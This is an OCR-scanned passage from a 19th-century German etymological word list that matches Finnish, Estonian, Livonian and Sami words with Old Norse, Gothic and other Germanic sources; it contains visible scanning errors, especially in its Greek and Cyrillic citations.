einga (einn). Auch sw.-l. aines, singularis, peculiaris,
und wol auch f. aina, semper, ehst aina, nur, bloss.
air, air a, air e sw.-l., aes (66), = an. eir n., got. aip.
airo f.; weps. air, gen. -on, ehst aer, (är), gen. -u»
nw.-l. ajrro, sw.-l. airo, en.-l. airu, russ.-l. arje
(50. 79), renius = an. dr, ags. Or (urgerm. stamm airä-).
Liv. air as, dass. , gehört dagegen eher jzu lett. airis (lit.
vaira).
airut f. (Kai. 20, 559. 26, 94. 27, 14); nw.-l. ajras,
legatus, nuncius (50. 89) = got. airus, an. drr.
akana f., wot.; ehst. hagan, liv. agän, palea (43. 65. 79)
== got. dhana, an. ögn, ahd. agana. Merkwürdig ist
ehst.- s w. aggan (Kuszwurm, Eibofolkell, s. 312); diess
ist wahrscheinlich vom ehst. beeinflusst.
akkio, ahkio, akkia f.; 1. iikio, akje, traha lapponica
(67), scheint dem an. eJcja von y ak in aka zu entspre-
chen; vgl. Eydqvist, Svenska spräkets lagar, II, 221 f.
akäo, afäo, gen. av§o, gem.-l., securis (55.82), = got.
aqißi fem., an. öx.
alan, gen. allan nw.-, sw.-L; en.-l. alne, cubitus, ==
an. Öln, nw. aln.
T ho m sen, Einfloss d. germ. sprachen. 9
130 WortverzeichuLSS.
aljo, alju f., cicur, mansuetus; meretrix (53. 67), viel-
leicht = an. dja, pellex, semula.
almug, gen. albmug; 1.^ populns, turba, = an. aimügi.
ammatti (für ""ambatti?), gen. -atin, ehst. ammet,
munus, opificium (53. 81), == got. andbahti, diaxovia,
leiTOvQyia, an. embceUi. Dagegen steht liv. amät, dass.,
kaum in directer Verbindung hiermit, sondern stammt aus
lett. amats (st. amata), das wieder aus dem deutschen amt
hergenonmien ist. L. ammat muss wegen des -mm-
wieder aus dem finn. entlehnt sein.
ansaitsen, inf. -aita, auch asnaan, inf. -nata, 1. an-
saget, mereri (66. 96); f. ansio, meritum, lucrum vgl.
ahd. arwäw, arnön, metere, mereri; got. asneis, fiiad-orrög,
ahd. asni, asneri, mercenarius, arnari^ messor, (an. ö>^w,
labor, cura?). Einen anklang an das f. bietet sonst nur
das entfernte wogul. an Sem, habeo.
ansas f.^ trabs v. tignum majus sub ponte v. pavimento
(66. 74), — got. ans (st. ansa-)^ an. dss.
antura f., solea calcei v. trahae, carina; ehst. andur
(ander), liv. andörs, andör, carina (69. 75), == an.
öndurr, andri^ Schneeschuh, xylosolea (s. Sv. EgUsson
unter öndr und Munch in den Ann. f. .n. Oldk. 1846,
s. 139 f.) ; nw. ander, sw. andur (Kietz s. 9) , xylosolea
brevior v. dextera; ehst.-sw. andra, 'schlittensohlen,
schlitteneisen', (Ruszwurm, Eibof. ü, s. 315), nyl. ander-
stäng, id. (Hipping in den Acta soc. scient. fenn. ü, 1099).
Lett. andrus, carina, ist wieder aus dem liv. entlehnt
(Bielenstein , D. lett. spr. 1 , 144).
appe, gen. abe, ave nw.-, en.-l., mare (57), = an. Äa/* n.
arbbe gem.-l., hereditas (63. 75), = an. arfr, vgl. got.
a>rU; — nw.-l. arbbit, ^w.-l. arbet, hereditatem acci-
pere (53. 97), = an. erfa^ (got. *arbjan).
arina f., wot. ; nw.-l. aran, sw.-l. aren, arne, focus,
f. auch scopulus (43. 69. 75), = an. arinn, altsw. a^in,
cerin^ jetzt öatU, Ein ganz anderes wort ist gewiss f.
arina, fuscina piscatorum, dasselbe wie ahrain und
ahingas, weps. azrag).
• Wortverzeichniss. 131
arka^ gen. aran f.; ehst. arg, liv. ärga, L argge, pavi-
dus, cautus (43. 62. 75), = an. argr, ags. ea/rh, emg,
id. (Man beachte den bedeutungsunterschied von den
neueren sprachen).
arkku f., en.-l.; nw.-l. arkko, arca (79), = got. arha,
an. örky von lat. arca. Neuere entlehnung ist f. arkki,
ark ka von Noahs arche.
armas f., weps., wot, ehst.; russ.-kar. armaS, liv. ar-
mas, gratus, carus (74), aber sw.-l. armes, miserabilis
^75); — f. armo, ehst. arm, gen. -u, liv. arm, 1. arb-
m , gratia , favor ; — f. armias, armelias, liv. armig,
arm-südämli (von südäm, cor), nw.-l. armolaS,
armogas, sw.-l. armokes, misericors, clemens; — f.
armaitsen, inf. -aita, misereri (96), und mehrere ablei-
tungen == got. arms, elaat.v6g, arman (prät. ^aida), ile-
älvy armaiö, sleog, elerjij^oavvt] , armahairts, &ia7tlayx>^og;
an. armr, miser u. s. w.
arnes, arc sw.-l., aquila (89), == an. örn, ahd. arn, pl.
ernT.
arpi, gen. arven f.; liv. ärb, arb, ehst. arm, (arb),
cicatrix (68), vgl. an. ör, örr (st. arva-?),
arrad, arad, arrat nw.-l., mane (-t, -d bildet adverbia,
Friis Gramm. §189), auch matutinus, sw.-l. ara adj.,
aret adv. (50) = an. dr adv., drr adj., got. air, tvqcoL
arvas nw.-l.; sw.-l. arvok, überaus (68. 83), == an. örr,
vgl. got. arvjö, dwQedr. Dagegen sind sw.-l. arvok in
der bedeutuug alacer, nw.-l. ervok wahrscheinlich von
diesem zu trennen und vielleicht eher mit ung. örvend,
sich freuen, öröm, freude, zusanmienzustellen (Budenz
in Nyelvtudomänyi közlemönyek VE [Pest 1868] s. 30
no. 772).
atra, aatra, ahra, aura f.; weps. ad r, wot. adra, ehst
adr, (ahr), liv. addörs, adrs, adrös, adr, aratrum
(68. 75), = an. arär hl (vgl. Eydqvist H, 624).
auße SW.-L, prunus padus (68. 81), = an. heggr m.
avje nw.-l. (Leem), foenum (53. 57. 67. 81), = got havi,
an. hey, urgerm. stamm hauja-,
9*
132 Wortverzeichnisß. •
avjo nw.-L; sw.-l. auöo, aivo, russ.-l. avje, acies (53.
67. 82), =• an. egg (st. agja-).
avkke nw.-L; sw.-l. auke, utilitas, commodum (50. 92),
= an. auJci, augmentum, commodum.
avna's nw.-L; sw.-L abnes, en:-L abnas, amnas,
materies (53), scheint = an. efni n., obwol die endung
nicht passt. Auch f. aine\ id., gehört woi hierher.
auskari, äyskäri f.; ehst. hauskar, gen. -i, auch
hauster, haustel, haust, nw.-L avskari, havs-
kar, SW.-L (h)austakare, auskare, haustrum^ sitfla
qua hauritur (50. 71), = an. ausJcer, austker, ehst.-sw.
ausJcar, nyL öushar.
austi, öysti f.; ehst. (Dago) hausti, heiste, der räum
im boote, wo sich das auszuschöpfende wasser sammelt
(51. 71) = an. austr.
autia f., desertus, non cultus (64. 67. 83. 106), autio,
auch autto, ^) locus desertus, ^) = autia (63. 79), =
got. aups (st. aupjctr wie ahd. ödi, ags. eäe)^ ^Qrifiog, aupida
fem., €Qr]fiia. Sw.-L audes, desertus (75. 83), = an.
auär; nw.- und en.-L avden, id., ist vielleicht beeinflusst
von an. auän subst., oder nw. öyden (Aasen Ordb.). Sw. - L
au det, devastare (97), = an. eyda. Nw.-L sev dar,
homo prodigus (54), = an. eyäari. (F. ava, vastus,
amplus, ist nicht verwandt.)
autuas f. (in Kalevala immer von gott, z. b. 15, 506. 32,
116. 440), beatus, selten dives, nw.- und en.-L audo-
gas, beatus (50. 63. 69. 74. 106) = got. avdags, ^axa-
QioQj an. auäigr, auäugr, dives, ags. eddig, beatus, dives.
Die erste bedeutung scheint auch wegen des an. auMt,
sif^aQ^ievT] ^ die ursprünglichere zu sein; vgl. lat. beatus
oder fortmia und fortunce.
B siehe P.
D siehe T.
Epä f.; ehst. eba, Laeppe, eppe, vanum aliquid, incom-
positis in-, ab- (wie f. epätaito, ignorantia); f. epään,
inf. evätä, nw.-L seppedet, negare, dubitare, vgL an.
Wortverzeichniss. 133
ef, n., dubitatio, efa dubitare; ahd. iba fem., conditio.
Nachträglich theilt mir indessen Budenz eine andere , sehr
sinnreiche und vielleicht auch wahrscheinlichere erklärung
des f. epä mit, nämlich als partic. (auf -pa, -va) des
verbum negativum, 1. pers. en.
erhe^ gen. -he e n f., error (66. 83. 84), mit mehreren ablei-
tungen = got. stamm air;?/a- (ahd. im"), TthxvtjfÄEvog^ air-
0ei, ai/rzipa, TtXdvrj.
Fadno, gen. ebenso, nw.-, sw.-L, angelica archangelica
(59. 65. 79), = an. hvönn fem., nw. kvami, hvanne.
fagge 1., luctatio, (56. 66) = an. fang.
faiges sw.-l., vicinus morti (83), == an. feigr, ahd. feigi.
farbme 1., onus (75), = an. farmr. Vgl. parmas.
farro nw.-l.; sw.-l. f aro, en.-l. färu, migratio; comita-
tus (56. 79), == an. för fem. (nw.-l. farost, sw.-l. fa-
r 8 n e mit dem gen. in comitatu alicujus = an. i för meä).
fasto gem.-l., jejunium (93), = an. fasta. Vgl. paasto.
f a tm e, fapme nw.-, sw.-l., amplexus (56. 64. 75), = an.
faämr, ags. fääm.
favrro nw.-l.; sw. -1. fauro, pulcher (77), = an. fagr
(vielleicht eigentl, = fem. fögr?).
feres SW.-L, magnum ahenum (44. 74); = Bji.hverr, pl. -ar.
fiello, gen. fiele nw.-, sw.-l., asser, tabula lignea (52.
56. 79), = an. fjöl fem.
fierrot nw.-l.; sw.-l. fierrot (Tornaeus, Sal. proverb. 30,
33), faerrot, rudicula lignea peragitare, permiscere, =
ahd. dw'eran, üg^. pveran. Davon nw.-l. firron (Priis
Gramm. § 153, 13), fiaerrol (Leem. — 59), sw.-l.
fserro, ferkem, rudicula lignea , vgl. an. pvara , pyrill,
nw. tvora, tverd.
fines nw.-, en.-l., subtilis (76), == an. ßnn, von romani-
schem Ursprung; vgl. Diez, Etym. Wb. d. rom. Spr. ^ l,
181 f.
fjervva, nw.-, sw.-l., litus, 'pars litoris, quam venilia obtegit,
sed salacia retegit' (52. 56. 68. 93), = an. ßara, nw.fjöra.
fuölkke nw.-l., sw.-L, familia, gens, = an. folk, VgL huikat
6r siehe K.
134 Wortverzdchmss.
Habres, habra sw. -1.; nw.-l. harves (Leem), caper
(57. 69. 74), = an. hafr. Vgl. kapris.
haikara f., ardea, (ciconia), sw.-l. haikara, ardea (aus
dem finn. entlehnt), ehst. dial. haigr, haigur, reiher,
storch (49. 92), = an. hegri^ ags. hrOgra, ahd. heigiro
(vgl. Grimm, Gesch. d. d. spr.*, 314). Vgl. ital. aghirone,
proven9. aigron u. s. w. (Diez, Et. Wb. d. rom. Spr.* I,
10; Granmi. d. rom. Spr. I, 287). Eine zweifelhafte dorp.-
ehst. nebenform ist halber, das vielleicht eher = nieder-
deutsch, aderbor, holl. qjevaar, ciconia, sein könnte.
hajtis nw.-l., calidus (49. 75), = an. heitr, ags. hat.
haka, gen. ha'an f, pascuum septum (43. 62. 92), = an.
hagi, nyL haga.
hallitsen, inf. hallita f., tueri, regere, dominari (96);
£ haltu, nw.-l. halddo, tutela, dominium; f. haltia,
wot. altia, ehst. haTdias, haTTias, tutor, genius
tutelaris (vgl. Castren, Vorles. üb. die finn. mythol., 170);
sw.-l. bald et, teuere, = got. hoidan, ßooxeiv, 7t oi-
(.lalveiv, an. halda.
hamara £, dorsum cultri v. securis, auch malleus (43. 66.
75), =. an. hamarr, altsw. hamar (Bydqvist H, 41). —
Neueren Ursprungs ist f. hamar i, malleus, fabrica; ebenso
ehst. hämer, gen. hämri (hämber), liv. ämer, mal-
leus, = nd, hämer.
hame% gen. -meen, palla feminarum, tunica virilis (84),
dorp.-ehst. hame, ame, hemd, liv. amm, rock; nw.-l.
habma, exuvise, pellis (84), habme, forma, = an. hamr,
pl. -ir, induvise, emviae, forma, maxime adscititia; got.
gahamön, hdvea&ai; ahd. -hämo, vestis, hemidi, n.,
tunica.
hamppu £, cannabis (93), == sw. hampa, nyl. hampu, aber
an. harwpr.
harras, gen. -rtaan, £, ardens, incitatus; pietate ardens
(74. 106), = an. harär, got. hardus, ayilrjQog, avOTtjQog,
hartio, hartia, gewöhnl. im pl. -t, f ; weps. hardio-d,
nw.-, sw.-l. harddo-k, en.-l. aerdde, humerus (53.
56. 67. 82), = an. herdar, pl. fem. (stamm hardja-).
Wortverzeicimisg. 135
hattu f.; L hatta, pilens; ehst. (Dago) hatt, gen. hatu,
weibennütze (88. 89), = an. höUr, hoMr.
havnkka, hankka (seit hayikka)!; weps. habuk^ gen.
-an, ehst. haugas, nw.-L happig, sw.-l. hapak,
hapke, hauke, accipiter (62. 63), = an. hatikrj ahd.
hcibuJiy ags. hafoc, also urgenn. stamm habuka^.
heimo f.; ehst. hoim, gen. -u^ wot dimo, affinis, cogna-
tus; cognati, gens; liv. a im, gesinde, hausgenossen,
heimat; nw.-l. ajbmo, sw.-, en.-l. aimo, aevum, vita,
status vivorum, mortuorum, Universum naturse (67. 77);
' sw.-l. heima, heimel, domus, = an. heimr m., domi-
cilium, mundus, vita; heimüi, domus; got. haims fem.,
hekuma f. , vita voluptuosa, luxuria (43. 92), =» an. heg6m%
altsw. hcegomi, htBggtmime, vanitas^ nugse.
heluntai f., festum pentecostes, nw.-l. helludak, gew.
im pl. -dagak, sw.-l. helutagh (bei Tornseus, neben
pinges; sonst pingeles-passe) = altsw. hdgudagar
(Gutalag c. 8 , dessen richtigkeit hierdurch bekräftigt wird ;
ehst.-sw. hePdäa, MVdäa, hördua, JiärdahöVe (höVe =^
an. hdgr, hdgi; Euszwurmll, s. 179 § 350, s. 328). Ueber
den eigentlichen Ursprung dieser werte kann man übrigens
in zweifei sein wegen des £ h el a , festum Finnorum solemne,
ante sacra christiana, tempore verno celebrari sohtum
(vgl. hela-tuorstai, dies adscensionis Christi, ehst.-sw.
höVgum-törshda, a. a. o.); helu^ ipsa celebratio festi
memorati, Isetus strepitus (vgl. Lindstr&m, Om den kelt.-
germ. kult. inverkan, s. 77 ff.); doch stehen gewiss auch
diese beiden werte in Verbindung mit dem germanischen
'heihg.'
herra £, russ.-kar., wot., ehst., sw.-L; nw.-, en.-l. haerra,
dominus, = an. herra, altsw. haerra.
hertta f.; ehst. her tu, herz (in den karten), auch herz-
förmiger schmuck (52. 57. 94), herttainen, herzlich,
= sw. hjerter, hjerta,
herttua, herttu f., düx (63. 92), = an. hertogi, altsw.
hcBriughi, -toghi, -tugh, -togh. Ehst. hertsog, liv. ert-
sog aus dem deutschen.
186 Wortverzeiohniss.
h olo f., cavum quid, = an. hol n., oder hda fem.
housu-t f.; ehst. auzud, liv. ü2ed, hosen f45. 93) ==
an. hosur pl. Vgl. lett. Ufas pl.
Kulk, gen. -Iga ehst, schar (56), «= an. f 61h VgL
fuölkke.
humala f.; weps. , ehst. humal, wot. umala, liv. umäl,
umal, humulus lupulus (44), = an. hundi, htimaU, altsw.
htmbli Zweifelhafter ist der Ursprung des mokSa-mordw.
komlä, ersa-m. komol'a, öeremiss. umula, omala,
omla, wogul. kumlah, ung. komlö, die alle einander
entsprechen (s. P. Hunfalvy in Nyelvtudomänyi közlemön-
yek ni s. 22); vielleicht aus sl^w. ' chmäi (vgl. Miklosich
in der Denkschr. d. Wien. Ak. XV, 93) oder öuvaS. %wwZa,
tatar. xonüak (s. Nyelvt. közl. III, 406).
hunaja f, mel (44. 63. 77), = an. hunang, ahd. honac,
. altsw. htmagh, honagh (Eydqvistll, 118). L. h onni g
ist moderne entlehnung.
huopa, (huoppa) f.; weps. hob, filz (56), = an. JJd/?
(vgl. lit tubä.)
^huora f.; ehst. hör, gen. höra, liv. uor, 1, fubrra,
adultera, meretrix (93), = an. höra.
huotra f. (Kai. 5, 76, vgl. 74; 17, 69. 26, 607); russ.-
kar. huodra (Matth. 2ß, 52), weps. hodr, pl. -ad,
vagina (45. 56. 77), = got. ßdr, S^i^ycrj, an. föär. Das
gewöhnl. wort ist f. tuppi, ehst. tup, lap. doppa; Kai.
12, 232 kommen beide zusammengesetzt vor tuppihuo-
t r a. Eigentlich dasselbe wort ist das viel jüngere f. vuori,
ehst. wöder, gen. -d'ri, liv. uodor, uoder', sw.-l.
f u d a r , vesti subsutum , zum theil auch pabulum , = an.
föär, sw. f oder, nd. fvder (auch lett. ödere, s. Bielenstein,
Die lett. Spr. I, 469).
hurskas f, häufiger vanhurskas (für va'an- von va-
kaa, firmus), justus, pius, 1. (van)hurskes (aus dem
finn.) id. (44. 56. 75), = an. horskr, prudens, fortis; ahd.
hör sc, alacer; ags. hör sc, id., vegeta mente, callidus.
höylä f.; ehst. hövel, gen. -vli, liv. evil', nw.-l. hsev-
val, en.-l. hsevla, dolabra, runcina (71), =^ an. heßl,
sw. hyfüd, höfvel, nd, höwel; davon auch lett. ewdis, ewde.
Wortverzeichniss. 137
Ja f., ehst., wot, liv., 1., et, = gotjah, \d{[^idh (Var-
num ; Bugge in der Tidskr. f. Philol. VH , 242 f.). Das
weps. hat i = russ. h i, das wot. bisweilen ebenso; das
liv. hat öfter un, nach dem lettischen (aus dem deut^
sehen? Bielenstein, D. lett. spr. 11 , s. 340).
jetanas (d. h. *etunas) nw.-l.; sw.-l. jsBttenes, gigas
(52. 7i),^aix.jötunn. F. jätti, dialektisch auch jatuli
(mit 1 ffir n, wie z. b. in kumppali, kamerad, = an. hum-
pan, romanischen Ursprungs, rem eli, riemen, =^ russ.
peMCHb remen), ist neuere entlehnung = sw. jätte, älter
iatun, icetun, icetti.
jo f., weps., wot.; ehst. jo, ju, liv. jo, ju, jo, 1. jo, juo,
jam (44. 57), = got. ju (vgL Iit. jau).
joulu f.; ehst. joulu, gem.-l. juovia, jovla, jola, gew.
pl. -lak, festum nati Christi (51. 57. 78), == an. joi, pl.
n. Davon f. joulu-kuu, ehst. joulu-kuu, december,
vgl. got. jiuleis.
jukko, auch Jukka f., jugum boum, temo trahse, lorum
trah« adjunctum, quo a tarandis trahitur, (44. 57. 63. 78),
= got. juJe , an. ok Dagegen liv. j u g , jugum , = lett.
jugs Qit jungas). P. ies, gen. ikeen, ehßt. ike, ees,
gen. ike, liv. iggös, id., steht wol in Verbindung mit
altsL und russ. hio igo.
jukso, jufso, gen. juvso, nw.-l., gadus aeglefinus, = an.
^sa, nw. hysa,
juusto f.; ehst. just, gen. -u, caseus, = an. ostr (47. 57.
77). L. vuohta (58) ist eine neuere entlehnung aus dem
nordischen.
Kaide", gen. -teen, f., (49. 85. 91) pecten telse (Kai. 14,
190 sepes), liv. köidas, id., en.-l. 'kaidna, kaidha',
id., nw.-l. skajdda, skajd, lignum transversum medium
in textrino mulierum lapponicarum existens (Leem), - an.
skeid f. Liv. köidas schliesst sich vielleicht näher an
lett. schklts, id., an.
kaira f., terebra (in dieser bedeut. auch kairi), segmen-
tum panni figura triquetra (49. 66), sw.-l. kaira, id.,
= an. geirr, hasta, geiri keil, segmentum triquetrum,
138 Wortverzeichniss.
ehst.-8W. gair, id.; got. gairu, aytolotp, ahd. ger (vgl.
Bickell in der Ztschr. f. vgl. spracht XV, 80, und die
Worte keihäs und napa-kaira).
kaisila, kaisla, kaihila, kaihia, kahilaf.; ehst.kai-
zel, scirpus, arundo (40. 66), vgl. an. geisl, geisli, gisli,
baculus, quo utuntur xylosoleis labentes, geisli ^ radius
(vermuthlich mit einem ähnlichen bedeutungsübergang wie
in dem deutschen strqM, das früher, wie z. b. ahd. sträla,
ags. strai, und auch slav. strSla, pfeil bedeutete); ahd.
geisila fem., flagellum, scutica. Eine (dimin.?) ableitung
von dem stamm gaisa-, YgL kaihäs und kaira.
gajc, gajccanw.-, sw.-l.; en.-l. kaic, capra (49. 90),
E= got. gaits, an. geit.
kakko, kakku, (auch kaakku) f., placenta, panis (vgl
kakkaro, panis), liv. kak, pl. -Qd, id., ehst. kakk,
gen. k a k u , id. , wot. kakku ' dünner pfannkuchen ', nw.-l.
gakko, sw.-l. kakko, placenta (43. 93), « an., sw.
JcaJca, nyl. Jcaku, ehst.-sw. haka-hre, kdko, hakuhre, ger-
stenbrot. Dagegen ist ehst. kök, gen. kögi, kuehen, liv.
(pann)kök, küok (vgl. lett. panköki, pl.) = VL^,Tcöke.
kakkula, gew. im pl. -at, perticae junctse vehiculo, qui-
bus ab equo trahitur (59. 61. 69. 75), = an. sköJcull, sw.
skaJda, skdkd, nyl. skakd, sJcdkid.
kakra kar.; westf. kaura, weps. kagr, wot. kagra, ehst
kaer, kär, liv. kagr, k.aggörs, avena (57. 92), =*= an.
hafri, ahd. habaro; -kr-, -gr- muss für -pr-, -br- ste-
hen; die formen mit -gr- finden sich sonst erst im Guta-
lag (c. 56), hagri, und in neueren sw. dialekten; s. Bietz
234. Vgl. Grimm, G. d. d. spr. ^ 66.
galbbe,kalbbe 1., vitulus (63. 75), = an. kalfr, got. Icälbo.
galddit nw.-l.; sw.-l. kaldet, castrare (53. 97), = an.
gdda, (got. "^galdjan). Davon ist galdak, kaldak, castra-
tus, eine speciell läpp, ableitung nach Prüs Gramm. § 151,
5 (nicht unmittelbar = an. gddingr),
gales nw.-l.; sw.-l. kalles, en.-l. käles, russ.-l. kal-
la zai (dim.), senex, maritus (69. 74), = an. karl, id.
(vgl. herling, anus), ags. ceorl (besonders mit den adjectt.
ecM, gomd, imorne, snofor u. dsgl. Vgl. Grein, BibL d.
Wortverzeichniss. 139
ags. Poesie III, 1, 159 ff.), ahd. cha/ral. Obgleich die
jetzigen bedentangen dagegen zu sprechen scheinen könn-
ten, ist die grondbedeutung in den germanischen spra-
chen doch wol 'senei', von der indogerm. wurzel gar,
skr. gar, gr^ vgl. gr. yeQcav, skr. g'arant-. Sollte nicht
etwa auch das slawische wort für 'könig' (altsl. AroK, lit.
kardUus aus dem russ. RopoAb Jcorol'), das aus dem germ.
entlehnt zu sein scheint (vgl. Miklosich in den Denkschr.
d. Wien. Ak. XV, 101), eher von einer bedeutung ^pater-
£amilias' oder dsgl. ausgehen, als, wie man gewöhnlich
anninunt, von dem namen Karl (der grosse)? — Ob das
seltene f. karilas, senei decrepitus, auch hierher gehört,
ist zweifelhaft. Die form könnte an Y^1I5IM erilaR (lind^
holm, Varnum) = an. jarl erinnern. Vielleicht steht es
jedoch eher mit f. k a r u , elend, gebrechlich, in Verbindung.
galggo, nw.-l.; sw.-l. kalgo, en.-l. kalgu, anus, uxor
(53. 79), == an. herling, id. Vgl. gales.
kallio f.; ehst. kal'ju, weps. kalll, pl. -Iliod, nw.-l.
galle, sw.-l. kallo, rupes (57. 67. 93), = an. heUa,
planus lapis (got. *hälljö); vgl. got JiaMus, jterqoLy an.
hallr, lapis, mons.
kalta, gen. -llan; kailas, gen. -Itaan, f., declivis;
ehst. kald, kallas, abhang (f. kalle^ ehst. kalde,
abhang, mit mehreren ableitungen. — 57. 64. 75), =
an. haUr^ ags. heald (ifur *hdlpa-s),
kaltio f.; 1. galddo, kaldo, fons, puteus (53. 67. 93),
= an. Jcdda (urspr. *Jc(ildjö), von kaJdr, frigidus. Vgl.
altsl. Uad^sii, puteus, = got. *kaldiggs (Diefenbach H,
437 f., Miklosich in den Denkschr. d. Wien. Ak. XV, 98).
kamari, kammari £; ehst. kamber, kammer, liv.
kömar, kämar, en.-, sw.-l. kammar, nw.-l. kam-
mar, gammar, camera, cubiculum, » an. kamarr, altsw.
hamar, -re, jetzt Jcamma/re, nd. kamer; davon auch lett.
kanibaris.
kammio f., cubiculum, conclave, dormitorium (lepo-k. schlaf-
kammer, hauta-k. grabcapelle, louhi-k. Kai. 17, 218.
20 , 300 von der ' steinhöhle ' oder dem ^ -lager' des baren
(67. 93), = an. skemma, (urspr. *skammjö).
140 WortverzeicImisB.
kampa f., pecten (62), = an. hinibr^ altsw. Tcamber, acc.
Tcamh, 80 noch nyl. Ehst. kämm, gen. -mmi ist aus
dem deutschen entlehnt, liy. k'emm, kämm ebenso^ viel-
leicht durch lett. Teemme.
kana f., russ.-kar., olon., weps., ehst., wot., liv.; en. -1.
käne, gallina (57. 92), vgl. got. hana, an. hani. Die-
fenbach (H, 3. 27) betrachtet diese als 'urverwandt'. Vgl:
vuoncca.
kannu f., wot.; 1. gadno, cantharus (65. 66. 93), = an.,
sw. kanna *^ ebenso ehst. kann, gen. -nnu, aber auch
kann, gen. -nni nach dem deutschen; liv. köna, käna
durch lett. Tcanna,
kansa f., populus, societas, inss.-kar. kanza (Matth. 13,
54 als Übersetzung von avvayoyyif), ehst. käz, käza,
genösse , gefahrte , gatte , gattin , nw. - 1. g a ? ? e , en. - 1.
kä^i, russ.-l. kan^e (kan^e?), comitatus, societas, coe-
tus (57. 66. 79. 106), == got. hansa, OTteiQa, ahd. hansa,
ags. hös (vgl. Diefenbach II, 528 f.). Dasselbe wort ist
die postposition f. kanssa, ehst. käza, kä, (-ga), wot.
käsa, kä, liv. (dial.) käsn, käzu, cum (vgl. mordw.
marhta, id., von mar, multitudo); ein anderes und
ursprünglicheres wort für 'mit' ist f. kera, keralla,
russ.-kar. kera (s. Suomi 2te reihe IV, 96 f.), weps.
kerd, ked, ke (= f. kerä, glomus fili, kerätä colli-
gere). Uebrigens kommt das wort kansa in den ande-
ren finn. sprachen nicht vor. Nachträglich hat mich aller-
dings Budenz auf syrjän, g o z , paar , bes. ehepaar (auch
gozja, davon gozjatöm, unverheirathet), gozjed, ver-
binden, vereinigen, aufmerksam gemacht (vgl. desselben
Ugrische Sprachstudien I, [Pest 1869] s. 33). Doch scheint
mir die Zusammengehörigkeit dieser Wörter mit den hier
besprochenen finnischen noch nicht genügend festgestellt.
kapris kar.; russ.-kar. kabriS, westf. kauris, liv. kab-
bör, kabr, caper (57. 69. 77), = an. hafr, m. (urspr.
st. hahra-). Vgl. ha b res.
kapula f., bacillus, fustis, = a.n.kefli, m., ehBt-sw.kävuT,
kavuP, kavd, nyl. käbtd (Euszwurmll, 334).
WortTerzdichniss. 141
gardde nw.-L; sw.-L garde, karde, sepes, locus con-
ßeptus (56. 75), = an. garär. Vgl. kartano.
kari f., ehst., scopulus in mari (81), == an. sker.
karja f., wot.; ehst. kari, gen. -rja, liv. köfa, kära,
grex, = got. harjis, an. herr, beer?
garre nw.-L; sw.-l. karre, vas (53. 66. 77), = got. has,
neuer nord. Jcar, Der speciell altn.-isl. form ker, nw. hjer
entspricht 1. gaerra, gierra, calix (54. 55). Gehört
hierher auch f. kaha (h =^ s), Saccus yimineus, structura
ex perticis erectis, avibus v, leporibus capiendis utilis?
kartano f.; 1. garden (nach dem f.), liv. kärand,
körand, karn, aula, area juxta domum, praedium, =
an. garär, got. gards (st. -i-), olytog, avli^; vgl. got. gar-
da, avhl], stabulum, ahd. garto-j auffallend ist die verlän-
gerte endung im finnischen, die an das nhd. garten erin-
nert; vgl. itaL giardino, Diez, Et. Wb.^ I, 2J3. Von
diesem ebenso wie vom 1. gardde sind jedesfalls zu
trennen eine anzahl sonderbarer Wörter in andern finni-
schen sprachen : ersa - mordw. kardas, hof, kardo, mok-
9a-m. kardä, stall, syrjän, gort, haus,kar, stadt, ost-
jak. gord, kord, kurd, ansiedelung, kardag, hof,
umzäunter ort, ung. kert, garten, auch öuva§. kardä,
Umzäunung, umzäunter ort, kardä tuvas, kartlas,
einen zäun machen , umzäunen, deren Ursprung sehr schwer
zu erörtern ist. Gröstentheils mögen sie aus verschie-
denen indogermanischen sprachen entnonmien sein (vgl.
altsl. gradu, stadt, lit. gar das, eine bürde, ein offener
stall far die schafe, auch osset. [nach Eosen] k' art', hof),
zum theil vielleicht auch zufällige anklänge (vgl. z. b. f.
keri, ung. kör, kreis, ung. kerök, rad, kerit, umzäu-
nen).
karvas f.; liv. köras, pl. karrod (auch käras, karu),
amarus, acerbus gustu (57. 75), =«= ahd., mhd. harwer,
harewer, asper, nhd. herbe. Hiervon zu trennen ist wol
f. karkia, gustu v. tactu asper, verwandt z. b. mit syq.
kuryd, amarus. ^
garves nw.-l.; sw.-l. karves, paratus (56. 68. 75), =
an. görr, ahd. garo, garawer, ags. gearu, gearo, Sw.-L
142 Wortyerzeichiüss.
karvet, karvetet, parare, vgl. an. gera^ urspr. *garv-
jan. Von demselben stamme kommt auch f. karvari,
coriarius, und das verb. karvata, welches neuere entleh-
nungen aus den vom deutschen herübergenommenen sw.
Worten garfvare, garfva sind.
garvvo nw.-l.; sw.-l. karvo, en.-l. karvu, vestis, vesti-
mentum (68), davon garvodet, indui, garvotet, indu-
ere, vestire u. ö. w.) = an. görvi, gervi, n., ags. gearve
fem., ahd, garawT fem., garawi n.
kasa, kaso f.; ehst. kaha, acervus (79), = an. hös fem.,
sw. kas y käse.
kattila £; ehst. katel, katal, gen katla, weps. kat-
til, gen. -tlan, liv. kat'Ta, katl, lebes, ahenum; wot.
kattila, olla (53. 69. 75), = got. katUs, %aAxtov, an.
ketill (aus lat catilltis); könnte jedoch auch von lit. kcUi-
las, lett. kafls kommen (vgl. altsl. kotJM, russ. kotÖM>
spr. Äafjo?, woher ersa-wordw. Ao^oZ, ung. /caflaw u. s. w.).
gattit nw.-l.; sw.-l. tattet, cavere, custodire (53. 97),
= an. gceta (für *ga1jan). Dagegen hat f. kaitsen, inf.
kaita, id.^ nichts hiermit zu thun.
gatto nw.-L; sw.-, russ.-l. katto, feles (89), == an. ftöi^r
(st. kattU'), (Von anderen namen für dasselbe thier las-
sen sich hervorheben f. kissa; femer f. kasi, weps.
kagi, ehst. kass, kat't', liv. kai; das am meisten an
lit. kaU oder russ. kotI) kot, KouiKa koSka erinnert).
kaunis f., ehst., wot.; russ.-kar. kavniS, pulcher, ehst.
auch 'farbestoflf', wot. auch ruber, (vgl. russ. KpacHbiö
krdsnyj) (50. 59. 82. 106) = got skauns (für "^skaunis),
ahd., alts. scöni, — F. kauni, decus, omatus (95), viel-
leicht =» got. skauneij ahd. , alts. scöm, species, decus.
kauppa f.,' ehst. kaup, gen, kauba, liv. köp, köpa,
koup; nw.-l. gavppe, en.-l. kävppe, mercatura (50.
77); davon f. kauppia, kauppias, russ.-kar. kav-
pie§, mercator (81); f. kauppaan, inf. -pata (97),
kaupitsen, -pita, kaupin, -ppia, nw.-l. gavpa-
Set, venum exhibere, venditare und noch mehrere, zuni
grösten theile selbständige ableitungen, = an. kaup n., kaujpa,
Wortverzeichniss. 143
got. kaupm, TtQayfjunevea&ai (von lat. cauponari). Die-
